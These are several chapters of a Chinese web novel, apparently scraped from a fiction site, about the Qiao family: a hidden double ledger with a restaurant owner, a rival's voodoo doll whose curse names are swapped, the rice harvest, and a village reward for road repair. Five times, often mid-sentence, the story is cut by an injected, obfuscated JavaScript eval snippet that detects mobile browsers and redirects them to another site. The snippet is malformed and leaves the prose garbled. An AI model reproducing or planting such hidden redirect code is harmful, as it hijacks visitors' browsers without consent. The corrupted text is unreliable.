“我是为了我自己考虑,当然如果蔡老板愿意跟我配合,到时候,蔡老板也可以少出一点钱。” 乔镰儿之所以找蔡老板说这件事,是因为这个酒楼完全由他做主,而且蔡老板也算是一个品格本分厚道的人。 这种要紧又要命的事情,她可不敢轻易跟人说。 “好,你说,我听。” 乔镰儿道:“蔡老板需要另做一个真实的账目,方便我们私下对照,卖给蔡老板的这些食材,在明面账面上都往低了写,包括菜肴的价格,至于今日降价的原因,备注卖家从外国商人进货的成本降低,个中具体要怎么做,蔡老板应该比我清楚。” “从今天开始,到那些人走之前,我的食材就不卖给别人了,只卖给蔡老板,因为前面的账已经是板上钉钉的事情,一查就有说不通的地方。” 她想过这段时间她还是要赚钱,大泽国北方打仗需要银两,她也会贡献自己的一份力量,但是要把她的东西全部拿走,那是不可能的。 而且这样的时候,从民间带走的东西要远超过实际需要的,多少人趁着这个机会浑水摸鱼,搅得民不聊生。 她不可能会便宜这些人。 蔡老板斟酌,就算乔镰儿说的这些事情不是真的,他也不过是多做一个账本而已,而且乔镰儿在这段时间只卖他这一家,说明只和他通气,她没有把这消息告诉更多的人,是怕泄露出去连累自己,一来证明可信,二来证明她对她信任。 “好,乔姑娘你信我,我也信你,我们就商定好一个价格,统一口径。” 蔡老板一脸肃然地说。 “他们大概还有多久来?” “秋收以后,大概一个来月。” “好,完全足够了,就怕过于紧急,许多事情准备不充分,到时容易露馅。” “我三五天来一次,到时候就在后院那一道门过称吧,不然其他酒楼也要跟我买食材,价格不一致反而麻烦。” 现在乔镰儿宁肯少赚一点,也要保证安全。 见乔镰儿连更多的钱都不赚了,老板更觉得这件事情可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615480|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信。 而且,这段时间只能他赚这些食材的钱,想想心中就是一阵激动。 “乔姑娘你就放心吧,那些人不来还好,来的话,也不至让我们的损失太大。”蔡老板道。 “你既然信我,那我们就是盟友,一道好好过这一关。” 乔镰儿一笑,眼里浮起了几分决绝。 是的,这一关,她要安然无恙地度过。 经过堂食大厅,乔镰儿注意看了一下,前面买的土豆已经做成菜端上桌,土豆炖牛腩,土豆饼,土豆烧鸡,土豆烧茄子等,甚至还有土豆焖饭都弄出来了。 玖味楼的厨子都很厉害,擅长开发各种菜品,她也给了蔡老板时间,如果这些弄不出来,她再卖食方,一个月不见,各种各样的土豆菜肴都开发出来了,摆上桌的都是好吃的,其他被淘汰的,起码也有几十种上百种了。 这个钱说赚也能赚,但是不那么厚道,她也不觉得可惜。 大用他们已经把番茄和土豆过秤,马车上还剩下五百斤土豆,刚好够蔡老板的所需。 蔡老板把账房叫到一边,细细叮嘱了一阵。 账房是个六十多岁的老头子了,看起来很是熟练稳重,一边听一边点头。 后面这些食材卖了四十三两,再加上前面的,一共九十五两。 今天是这段时间最后的一次大单了,也几乎卖到了最大限度。 房子的尾款结了,现在家里总的还有二百一十两出头, 而在账面上的,也不过十两左右。 乔镰儿算了一下,等到那些人来了,这个家的账面上最多有个二十两。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第202章 扎小人,乔家人名字写上去 要是沈老太单独来乔家这里,或者是周神婆单独一个来,乔家人都不奇怪。 一个肯定是来挑事的,另一个可能是问家里有没有这方面的需要。 可是两个一起来,这就显得有点怪异了。 但可以想象到,有沈老太在场,肯定不是什么好事。 “有啥事?”周神婆在场,乔老太也没有过于冷淡,毕竟两家没有过节。 但是也没有打算请人到家里坐一坐,要是请了周神婆,沈老太也会跟着进来。 周神婆并不计较,只是笑了笑:“大妹子,我知道你们两家有矛盾,前来打搅不好,可是又不得不走这一趟。” “你直接说吧。”乔老太说。 “是这样的,沈良这伢子这阵子不是痴了嘛,三魂六魄,差不多都丢光啦,沈家请我来,是让我给沈良喊魂。” “喊魂,那关我们乔家啥事?”乔老大一听眉头就皱起来了。 还是给沈良喊魂,晦气,耳朵都受到污染了。 “唉,沈良丢魂,说到底也是因为对你们家溪儿丫头念想太多,求而不得才会癫狂,导致行为错乱,这喊魂,需要破除心结,要请溪儿丫头到沈良的跟前给他引魂,我才有把握把沈良的魂喊回来。” “救人一命,胜造七级浮屠,就请你们乔家先放一放心结,关系再不好,沈良也是一条人命,他这个样子和丢了命有啥区别呀。” 周神婆说得恳切,说完才发现,乔家人的脸色一个个变得黑沉难看。 他们冷冷盯着她,好像要把她生生撕碎一样。 周神婆感到一阵寒意窜入四肢百骸,冷不丁打了一个哆嗦。 她知道乔家人不好惹,自问态度已经十分恳切,她有哪里说错了吗? 而沈老太吓得腿脚发软,已经准备开溜了。 乔家人一言不合就开打的阵势,她是领教过的,他们发起疯来,和山上的猛兽没有什么区别。 她偷偷让开一个位置,躲开了乔家人的视线。 此时此刻,乔家院子里的气氛十分的阴沉。 乔老头手上的旱烟杆,重重地往凳子腿上磕了磕,发出清晰的敲打声,好像敲在人的心头上,又把周神婆敲得心一抖。 “周神婆,你是第一次到我们家门口来,所以你说的这些话,我可以当做没有听见。” “再有入不得耳的,可别怪我们乔家人动家伙了。” 周神婆愣愣地看着乔家人,她就不明白,什么样的深仇大恨,要让乔家连同村人的生死都不顾? 而且她也有自己的私心,沈良那种样子,明显是受到惨重打击不能接受,所以精神失常,最少也要缓两三个月,甚至一辈子都是这个样子。 喊魂是喊不好的。 而且哪有什么喊魂啊,都是她招摇撞骗。 如果乔家姑娘去了,她大可把喊不来魂的原因怪到她头上,怪乔家姑娘哪一个步骤做得不好,导致失败。 这下子要怎么圆? 周神婆眼珠子转了一下,哎呀,她真是傻,乔家姑娘去都不去沈家,这不就是最大的缘故吗?反正银子她已经收到手了。 嗯,再配合一点其他手段,糊弄一下,没问题。 周神婆就看向了沈老太,一脸的无可奈何:“看来你们两家积怨很深啊,这个要靠你们自己化解,我就不过多干涉了,我先去给沈良做法吧。” 沈老太气恨归气恨,可哪里敢多说什么,就怕一开口,乔家人的拳头就飞过来了。 周神婆一边走一边摇头:“没有了引魂的人,唉,哎呀。” “是不是这样,沈良就没办法好起来了?”沈老太紧张道。 “这个说不定,我也只能使出浑身解数,拿出我的绝招了,如果这都没办法,那就只能看天命了。” 沈老太回头看乔家远了,恨恨骂道:“自家出了个不要脸的狐媚,把我家沈良害成这个样子,还不想负责,都是黑了心肝的。” 她念头一转:“周神婆,你做完法之后,就帮我扎一个小人,把乔家人的名字都写上去,我要诅咒他们家倒大霉,最好一个个死于非命。” “这个,啊,这个,这种事情不太光彩,我不能做啊,要遭到反噬的。” 周神婆心想这老太可真毒,沈家和乔家的事情她多少也听过一些,说真的,人家乔家还真是一点错都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615481|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。 “就一个小人而已,你扎了,再多给你三百文。” 周神婆摇头:“起码一两。” “一两,咋就这么贵,就扎一个小人,谁不会扎,你不过是念几句咒语,我们就缺这个咒语。”沈老太语气不好了。 “哎哟大姐,不是我贪图这个银子,你们做这种事情,那边阴曹地府是知道的,我这不是要打点吗?这一两银子还不是为你们花的。” “要不然,你们才是要倒霉的人呀。” 沈老太听得心头一颤。 “好,一两就一两,你给他们下最恶毒的咒语,最好能够实现那种,写在小人上。” 沈老太没有留意到,旁边的大石头后面,躲着两个身影,将她们说的话都听到了耳朵里。 乔老太哼道:“骗子一个,还想搭上溪 儿,肯定是沈家人要捣鬼。” 人落到他们手里,那还得了? 而且她也不相信,这个周神婆真的能通灵,不过是在装神弄鬼而已。 “有我在一天,他们连我家溪儿的衣服都不要碰到,不然,我一个个把沈家人撕了。”冯氏骂道。 大用:“沈良自作孽不可活,还想把他疯癫的缘故怪在妹妹的头上,这样的人,傻一辈子才好,免得又要造孽。” 听到屋子后面那一片的动静,大成去看了一眼回来,一脸的惊讶。 “都到晚上了,他们还照着明动工。” 乔镰儿:“嗯,我跟刘工头说过,如果在一个月之内完成,每人加一倍的工钱。” 因为算下来,要一个多月,超出了她的预期。 “要这样赶?”乔老三有些困惑。 “到时候大家就知道了,房子越快盖起来越好。”乔镰儿没有说原因,要不然,大家的心都乱了。 大家面面相觑,看镰儿的态度,并不是为了尽快住进新房。 但既然这样安排有原因,他们也不多问。 乔镰儿看到门口的福生在向她招手,就走了出来。 “镰儿姐,那个坏了良心的沈老婆子告诉周神婆,要扎小人,把你们全家的名字都写上去。” 第203章 噢,换过来就是 乔镰儿眼眸冷了下来。 “再说一遍。” 福生又明白无误,清清楚楚重复了一遍。 “太坏了,坏流脓,想要用这种法子害人,让你们家倒霉。” 乔镰儿给他一把糖:“看看他们把小人放在什么地方,周神婆离开后,你来找我。” “嗯。”福生拿着糖转身就跑。 乔镰儿抿了抿嘴角,她并不是一个迷信的人,但是有些冥冥之中的东西,谁也说不定。 她看过一个故事,有好几个版本流传甚广,一户人家盖房子以后接连倒霉,请了好些个先生神婆都瞧不出原因,直到有一天请到了一位高人,高人从房梁脊上,找到一把不知道藏了多久,已经锈迹斑斑的剪刀。 原来这一户人家和盖房子的生了矛盾,盖房子的就动了手脚。 虽然这户人家倒霉,不一定跟剪刀有关,但光说这种暗中使坏针对乔家的行为,她又怎么会放过沈家? 乔镰儿回到屋子里,铺开纸笔。 “奶,沈老太叫什么名字,沈家四兄弟呢。”年轻的一辈,乔镰儿都知道他们的名字,老一辈就几乎不知道了。 “沈家那死老婆子啊,她叫白水仙,听起来多善良温柔,却是个蔫坏的。”乔老太鄙视地说:“真是玷污这个好名字了。” 乔老头道:“沈家四兄弟的名字好记,福禄寿喜,中间是一个明字。” 柳氏陶氏这些嫁进来的媳妇,二老也不知道她们叫啥名字,乔镰儿贴心地写上某某之妻某某氏,这样要是真有倒霉的事情,也逃不过了吧。 “镰儿,你问这些名字做啥。”乔老太好奇地问。 乔镰儿不想什么都瞒着家里人,道:“刚才福生听到,沈老太要周神婆扎一个小人,写上我们乔家全家人的名字,诅咒我们乔家倒大霉。” “这天杀地灭的沈家,竟然耍这样的阴招,那还等啥,这就找他们算账去。”乔老太一听就在四顾找家伙。 乔老头也是气得胡子一翘一翘,赶紧要出堂屋告诉全家人,今晚去沈家干仗。 乔镰儿赶紧把二老拉住。 “爷,奶,我们要是去质问,他们肯定不承认,说不定还要反咬一口,说我们污蔑他们,或者是小人扎了藏起来了,强行去搜就是私闯民宅,是犯法的。” 她这样的话让二老暂时冷静下来,是的,无凭无据,他们要是去闹,就是他们的不对。 “难道就这样放过他们了,扎小人诅咒人,没有比这个还要更歹毒的阴招了。”乔老太磨着牙。 “所以我也把他们的名字写下来,再换到小人上去,诅咒到谁都不一定呢。”乔镰儿说着,把这一张写满了沈家人名字的纸放在桐油灯旁烤干。 二老对视一眼,这是个好法子啊,以治其人之道,还治其人之身,不声不响,要倒霉也是沈家倒霉。 想想真是暗爽。 “是这个要咋换?”乔老头问。 “我让福生去盯着呢,看他们把小人藏在什么地方,然后偷偷换掉。” 二老这才明白过来,福生那几个小子,是真的成了镰儿跟前跑腿的了。 怪不得,总是看到他们往门口来,跟镰儿嘀嘀咕咕说着什么。 乔老头露出了一脸的坏笑,好,解气,阴损,呸呸,哪里阴损了,是沈家先不做人,他们不过是以牙还牙罢了。 乔老太点头:“不过沈家要是一直觉得被诅咒的是咱们乔家,一定很得意,那不是也舒服了?” 因为这种虚妄的事情,就图个心理安慰,哪里会真的倒霉运啥的? 乔镰儿道:“当然不会让他们高兴太久,找个合适的机会把这件事抖出来。” 乔老太板着一张脸教训乔老头:“看到了没有,不要啥时候都想着打打杀杀的,镰儿这样的法子,才叫做杀人诛心呢,比打人中用多了。” 乔老头:“......” 好像忙着找家伙去收拾沈家人的并不是他吧。 唉,算了算了,这辈子给老婆子背了多少锅了,多背几次又如何,虱多了不愁,债多了不痒。 外头夜色茫茫,周神婆和后面去的儿子走了。 经过乔家,她脸上有点心虚,不由得加快了脚步。 她扎的那个小人,可是让儿子把乔家人的名字都写了上去,还念了最恶毒的咒语,然后再在纸上扎了针。 乔家人男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615482|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女的,一个个像猛兽一样凶悍,虽然他们不知道她做了啥,但她还是觉得心头发怵。 周神婆走得太快,不小心一个趔趄,踢到了一块石头,就摔倒在地上。 “哎哟——” 她没忍住痛呼一声。 她儿子打着火把,一边把她扶起来,皱着眉头,低声责备道:“娘,你有啥担心的啊。” 这件事就他们母子还有沈老婆子,沈家几房长辈知道,小辈都蒙在鼓里,免得他们守不住嘴巴泄露了出去。 “没事,我没事,儿子,咱们快走吧。”周神婆拍了拍身上的灰尘说。 “哟,这不是周神婆吗?大晚上走路可要当心点,免得摔散了老骨头,还是说周神婆做了啥亏心事,心神不安啊。”院子里,乔老太看出来冷嘲 热讽。 周神婆一听就来了气:“我能给人做啥亏心事,给人喊魂,这是积德。” 见乔家人这样针对她,她的一丝愧疚之心荡然无存,就觉得乔家活该被诅咒。 周神婆的儿子不想和乔家人扯上矛盾,催着周神婆赶紧走了。 乔老太哼了一声。 等那事儿抖出来,沈家要跟周神婆没完,到时候,让他们相互扯头发去吧。 亥时之后,整个村子都陷入了寂静,那些干活的人也都去帐篷睡下了。 他们虽然赶进度,但也不会影响到村里人休息。 乔家人也几乎都睡下了,还剩下乔镰儿和乔老太在院子里。 进入了八月(文中月份皆是农历),院子里的这一棵大桂花树开满了细细碎碎的小花,香味浓郁,一阵一阵袭来,香得快要令人眩晕。 祖孙俩就坐在桂花树下,扯着闲话。 “真的吗?当初爷追求奶,这么多花样呀。”乔镰儿偷笑。 “是呢,别看你爷一古板老头,年轻的时候,可精着呢。”乔老太仿佛陷入了遥远的往事之中,脸上幸福和怅然交织。 “时间不饶人,我们都老咯。” 福生溜进了院子,用布包着一样东西夹在腋下,对乔镰儿勾了勾手,又跑进了堂屋。 乔老太拍了拍乔镰儿的手背:“去吧。” 第204章 写几句咒语,再抹点番茄汁 乔镰儿进了堂屋,福生把那个东西在桌子上打开,露出了一个半个手臂那么长,差不多两斤重的小人,用纸包裹着,纸上写着乔家人的名字,扎着密密麻麻的绣花针。 而且那些绣花针都扎在脸上,心脏的位置。 看到这些腌臜见不得光的玩意儿,乔镰儿血压都上来了,一阵恶心泛起。 她以为只有宫斗宅斗小说里才能用得到这种剧情,没想到她来到这里,在这种乡下,也有人扎小人。 行,玩阴招谁不会呢。 乔镰儿把那张写着沈家人名字的纸给裹上去去,又觉得不够,还从厨房里找来了白天她弄好的番茄酱汁,这本来是炸薯条让家里人蘸着吃的,正好派上用场。 她还放了几颗冰糖在里面一起熬呢,便宜沈家人了。 像这张纸好好抹了一遍,看起来像是血淋淋的样子。 又把那些绣花针重新给扎了上去。 “好了,可以拿去了,对了,这个东西他们是躲在哪里的。” “放在屋顶的坛子里呢,所以我拿得一点都不费力气,就让阿仓和禄儿把一把风,一点都没有惊动沈家人。” 这一带不少人家,都喜欢在屋顶上放个坛子,寓意为向老天祈福,迎接幸福,财富和吉祥。 乔家屋顶上也有一个。 放在那个地方,以后也很方便。 “拿去吧,好好放进去。” 这件事情干得解气,乔镰儿又给了一大捧糖,刚才她好像看到阿仓他们也在外面晃了一下,不想过于惊动乔家人,他们才没有进来。 不仅家里要吃糖,这几个孩子也要吃,她干脆买了几十斤回来。 福生一只手夹着小人,一边用衣服兜着糖,脸上笑得很幸福,一溜烟又跑出去了。 “快看快看,镰儿姐今天给了这么多糖。” “哇,好多呢,起码有一斤多。”另外几个孩子眼睛亮了。 “咱们先把小人给沈家放好,再找个地方好好分糖。” “嗯嗯好呀。” 咽口水的声音。 乔镰儿就把那张写着乔家人名字的纸给烧了,乔老太走了进来,看到纸上密密麻麻的,知道写的是什么,脸色很难看。 虽然报回去了,但她现在还是想把沈家给撕一顿。 “阿弥陀佛,阿弥陀佛,祖宗保佑,祖宗保佑啊,沈家写的这玩意儿不顶用,给沈家写的才顶用。” “奶,我还在纸上加了几句话呢。” “加了啥。” “让沈家倒霉一百年,诅咒一旦立下,立刻生效,就算烧毁死毁也不管用。” 乔老太一听,快意地笑了两声:“好,好啊,真让人舒坦畅快,到时候他们就算发现了,也会一直在心头散不去,说不定要做一辈子的噩梦呢。” 嗯,还有,遇到任何不好的事情,都会往这上面想,永远不得安生。 乔老太高高兴兴去睡了。 秋收到了,这两天,已经有村里人在田里收稻谷。 清晨一大早,家人吃过早饭,就带上镰刀,抬着挞斗下了地。 挞斗是一个很大的类似小仓的东西,四面用木板围起来,口子朝天,收获的稻谷,举起来一把一把用力摔打在挞斗壁上,让稻谷脱粒。 这种东西广泛应用于农田上,几乎是每家每户必备。 大片大片的农田里,村民们都忙着割稻谷,摔挞斗,不时有清脆的摔打声传来,很是热闹。 “乔家大娘,你们家的谷子结得又饱满又密,怕是亩产能有个二百来斤呢。” 有村民从乔家到田边经过,略带惊讶地说:以前只知道你们家受灾严重,原来不受灾的情况下,能够结得这样好。” 另一个村民接口:“是啊,村里家家户户,亩产几乎是一百五十斤左右,一百八十斤都顶天了,你们这是从哪里买的种呀。” 要说土质和供水,大家的农田都在河边,这些条件都差不多,只有一些人家格外的优越一点,比如沈家,还是不知道从哪里背来了黑土,撒在了稻田上。 “还能是从哪里买的种,还不是往年自家留的,就算去镇子上买种,也是跟大家买的一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615483|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”乔老太心里面美滋滋的。 那是因为家里用了除虫害效果最好的药呀,虫害对庄稼的影响太大了,除了虫害,产量就会噌噌上涨。 等到明年一开始就杜绝虫害,产量还会更高。 当然她不会告诉别人的,特别是意识到,镰儿身上的神秘之处,这种事情更是要守口如瓶。 这些村民甚至进田里近距离观察起他们的稻谷来,一边看一边啧啧称奇。 “看来你们老乔家的福气真的来了,就连老天都格外照顾你们家的稻谷。” “唉,羡慕啊。” “对了乔大娘,我家的稻谷收成一直不太好,亩产才一百二十斤,等明年再种,能不能跟你们买这一批的种子。” “我家也要我家也要。” “成,到时候就给你们留着。”乔老太痛痛快快答应下来。 这些村民高兴,就帮着乔家忙了一会儿,乔老太心里面记着,等他们要种的时候,便宜一点给他们就是了。 看着这些稻穗子,乔家人心中都是满足,他们盼了多少年,才盼到这样的丰收。 只觉得心里面一个长久存在的夙愿结了,终于好受了。 可是对于乔镰儿一个来自现代的人来说,这样的稻子亩产量是很低的,穗子也并不算结得好。 啥才叫结得好,大颗大颗,沉甸甸的,密集充实,把整株稻谷都压弯,放眼望去,大片稻谷都是倾倒状,但是由于茎体粗壮,也并不会真的倒下去。 在她来的那个世界,水稻亩产高一点的,能达到一亩一千斤,但是要配合各种精细化农业运作,在这里要达到这样的高亩产不现实,但配合化肥农药除虫剂,亩产五六百斤她还是有信心的。 虽然这个家的主要收入来源是生意,但是农民以田为本,以后还要买更多的田地,这才是农民真正的根基,最后的退路和托底。 所以,农田也要好好经营。 农田里兴旺了,也是一种欣欣向荣的福兆。 乔镰儿把镰刀放下来,坐在田坎边,打开了空间,查看稻子的类型。 第205章 修路的村民们,出来领赏了 空间里,三大类的稻子都有。 籼稻,粳稻,糯稻。 一般常吃的是是籼稻和粳稻,籼稻主要种植在南国这种高温,湿热,光照强的地方,粳稻主要种植在北方寒凉地区。 粳稻香中带糯,口感要好很多,但要在这里种植,只能选择籼稻。 籼稻下面,还划分了不少类型,有好几种口感也很香,比如玉针香,牙香占等。 乔镰儿买了一亩地,把玉针香种上去,先种出来试试口感吧。 然后又重新拿起镰刀,割割割。 虽然现在已经是秋季,可是南国还是很炎热,烈阳高悬,干了一会儿活就满头是汗。 农人从来不易,秋收后那些人来了,这些庄稼可能大部分都要被收走。 乔镰儿直起身体,迎着阳光,头有些发晕。 乔老太不让她下地,她还是想来好好体验一下,她是农家的女儿,体验过了劳作的辛苦,一些念头就会更加坚决。 她要守好这个家。 “快回去吧,时不时去看一眼工地,有时候刘工头还要找你。”乔老太心疼地把乔镰儿手里的镰刀夺过来。 家里人手是完全足够的,压根就不用镰儿来吃这个苦。 乔镰儿也惦记着工地的事情:“嗯奶,那我就先回家了。” “快去快去,万一工地哪里耽搁了咋办。”乔老太口口声声工地,却是不忍心最小的孙女在地里晒着。 从田野间的那条路回去,就听到田间不少人都在讨论沈良的事情。 “你们不知道吧,沈良之所以跑到猪圈里,疯疯癫癫的,想要跟母猪好,是因为到镇子上买了催药,也不知道想要用到谁的身上,反正自己不小心用上了。” “啊,这也太离奇了吧,谁告诉你的?” “镇子上卖催药那家医馆的伙计传出来的,听说现在镇子不少人都知道了这回事,就连石家也知道了,附近的村子也在讨论呢。” 清水镇附近有好几个村子,村子又挨着村子,所以有什么八卦,就像一阵风一样,传得很快。 “哇,那沈良这辈子岂不是完了,哪家敢把姑娘嫁给他。” “活该,天作孽犹可为,自作孽不可活啊。” 乔镰儿听得心满意足。 她经过沈家附近的时候,看到沈良在院子里晒着太阳,他披头散发,形容枯槁,歪着头看天上的太阳,仿佛都不觉得刺眼。 “这咋办呀?昨晚周神婆来了一趟,使出了浑身解数喊魂,这孩子是好一点了,到了今天又恢复了原样。” “孩子啊,你别光盯着太阳瞧,这样下去你眼睛是会瞎的。” 沈家人也都下地收稻谷了,沈老婆子守在沈良的身边,手足无措地抹眼泪。 一边说着,一边把沈良的头扳正。 可沈良又立刻抬头盯着太阳看。 “嘿嘿,阿巴阿巴,嘻嘻。” 一缕口水,从沈良的嘴角边流下来。 “都怪乔家人不做人啊,乔溪儿那个狐狸精,把我家沈良害成这个样子,却不愿给沈良引魂,老天爷,你快给他们乔家报应吧。” “要不然,我就算是死了,也死不瞑目啊。” 沈老婆子又指着上头的乔家骂了起来。 昨晚周神婆说了,如果乔溪儿肯来引魂,成的把握有六七成,如果不来,只有一二成。 昨晚沈良虽然也不说话,但看着还是有点像个正常人,眼里还有了些神光。 沈家都以为,有希望了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615484|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是今早起来,沈良又开始犯白痴流口水。 如果乔溪儿肯来引魂,那不就好了吗? 小小年纪这样歹毒,就盼着沈良这辈子毁掉呢。 所以,沈老婆子把这事都怪在了乔溪儿的头上。 而且沈家人都知道,沈良买那种东西,几乎肯定是要用到乔溪儿身上的。 就应该由她来承担这个因果。 乔镰儿翻了个白眼,老不死的。 她捡起了一个石子,就朝着沈家院子扔了进去。 这一颗石子不偏不倚,砸到了沈老太的头上。 沈老太捂住头跳了起来,大叫着追出来。 “谁,是谁干的?有本事给我出来,看我不治死你。” 乔镰儿已经走远了。 “哎哟喂,这段时间霉事不断啊,老天你不长眼,不偏帮着我们沈家啊,乔家有啥好,你让他们赚了钱,又盖了房子,一帮坏了心肝的活得这样滋润啊。” 沈老婆子骂着骂着,想到沈家的种种不顺,不由得崩溃大哭了起来。 以前的沈家不是这个样子的,在镇子上经营着米面生意,生意越来越好,沈良跟石家的亲戚又有盼头,再不济还有乔家这个托底,再过两年沈良还能进官府做测量,可现在呢,沈良疯了癫了痴了,不说石家和乔家,别家再不中用的姑娘,也不会嫁给沈良啊。 现在为了给沈良治病,接连看了不少大夫,白花花的银子花进去,本来打算再开一个分店的事情都搁置了。 这个家好像在开始垮了,在衰落了。 沈老婆子一桩桩一件件地想起,哭得死去活来。 小主,这个章 节后面还有哦,请点击下一页继续阅读,后面更精彩! 第206章 赏“义士之村”称号,每家银二两 这会儿快要到中午,在农田里劳作的村民们纷纷收拾家伙回家吃饭。 听到那一名官差的话,他们才想起来,他们把路修好后,监工说要回县衙,把这件事禀报给县太爷听。 他们有没有真的放在心上,得到了一句夸赞,就已经很满足了。 没想到奖励真的来了。 大家都跑到坝子广场集合。 “啥,还有奖励?”宋家也在地里收稻子,宋老婆子不敢相信地说。 宋老大:“可是娘,我们一天都没有去路上干过活。” “你傻,就说我们家里人去了一两天,但是没有人注意到。” “官府的人当时又不在,你一口咬定,他们还能咋样。” “走,咱们宋家人也去领赏。”宋老大把镰刀往腰间一撇。 通路那段时间,几乎家家户户都上阵了,除了包括沈家宋家在内的几家人。 所以,坝子广场上一下子来了很多人。 看到人差不多到齐了,那个当头的拿着一份赏赐的文书,给大家念了一下,大意是大田村的村民自发通路,用不到半个月的时间疏通了到咏关县的官道,做了很大的贡献。 要在大田村的村路立一块路碑,赏“大义之村”的称号,帮忙疏通官道的人家,一家奖励二两银子。 这么多,村民们发出一阵惊叹。 还有这样一个美称,大田村要在十里八村扬名了。 大家欣喜不已,好像早上劳作的疲劳都一扫而光,只是本来就被太阳晒晕了,现在更加晕乎乎的,就好像在做梦一样。 “好了,路碑我们已经送来,你们自己立上吧。” 当头的衙差说着,让人把一块石头从马背上搬下来,不重,大概一百斤左右,上面蒙着一块红布,把红布掀开,就看到石碑中央镌刻的大义之村几个字,大气刚劲,还喷了红漆。 看到这一块石碑,村里人心中的自豪感油然而生。 从此大田村跟别的村子不一样啦。 官兵又把一个箱子从马背上抬下来,打开,白花花的银子映入大家的眼帘。 都是一些小银锞子,官银洁白又干净,一个牙印子都没有,但是保真就是了。 宋家人咽了咽口水,他们也能混水摸鱼得到二两银子,还不用付出任何劳动,这种白薅的感觉实在是太爽了。 当头的从袖子里面拿出一张卷起来的纸,展开。 “名字都记在上面了,念到名字的,上前来领银子。” 啥,还专门记了名字,宋家人听了一下子懵了。 他们还以为,能够占一个大便宜,哪里想到是记了名的,他们根本就没去,又怎么会有他们的名字呢。 乔家人欣赏着宋家人的脸色,一个个差点忍不住笑出来。 还以为自己是大聪明呢。 有的村民连着在路上忙了好几天,因为家里有事,那天就没有去,但别的村民也帮他们把名字给报上了,所以他们也有奖励。 宋老大和宋老二私底下一嘀咕,觉得可以赌一赌。 就咬定他们去了一两天,但是村民没有注意到他们,所以没有报上他们的名字。 至少要给他们一两银子吧。 宋老二正要上前,被一只手给拉住了,一看是宋瑞儿,宋老二就皱起了眉头。 “咋了?你这臭小子,别耽搁我赚钱。” “爹,不要去,有这么多村民作证,又是官府的人来,要是露馅了,就是我们家想要欺骗官府,说不定要把你带走。” 宋老二听他这样说,不由得犹豫了。 宋老大看他这样子,冷哼一声:“怕啥,那么多人都在路上干活,难道每一张脸都打过照面?看看那箱子里装了这么多银子,发都发不完,不要的是傻子。” “大伯你有胆量你去吧,就算我们没这个胆。”这还是第一次,宋瑞儿顶撞宋家的长辈。 宋老大一巴掌拍在他的头上。 “哟嗬,你这小子才去了几天学堂,就硬气起来了,说好了啊,我拿到的银子,你们二房不要享受。” “嗯,我们不要。”宋瑞儿抢在宋老二的面前回答。 宋老二一下子急了,白白得了一二两,少不得要吃几顿肉庆祝,他可不想一块肉都捞不到。 “我去吧。”他一把狠狠地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 